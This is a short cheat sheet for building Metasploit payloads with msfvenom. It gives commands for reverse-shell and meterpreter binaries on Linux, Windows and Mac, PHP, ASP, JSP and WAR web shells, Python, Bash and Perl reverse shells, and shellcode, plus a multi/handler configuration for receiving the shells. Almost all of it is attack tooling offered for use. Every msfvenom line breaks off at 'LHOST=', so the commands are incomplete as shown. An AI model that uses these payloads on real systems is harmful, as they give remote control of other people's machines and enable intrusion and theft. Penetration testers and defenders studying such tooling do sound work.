Creating Metasploit Payloads
List payloads
msfvenom -l
Binaries
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=
Web Payloads
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=
cat shell.php | pbcopy && echo ‘<?php ‘ | tr -d ‘\n’ > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=
Scripting Payloads
Python
msfvenom -p cmd/unix/reverse_python LHOST=
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=
Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.
Linux Based Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=
Windows Based Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=
Mac Based Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST=
Handlers
Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.
use exploit/multi/handler
set PAYLOAD
set LHOST
set LPORT
set ExitOnSession false
exploit -j -z
Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘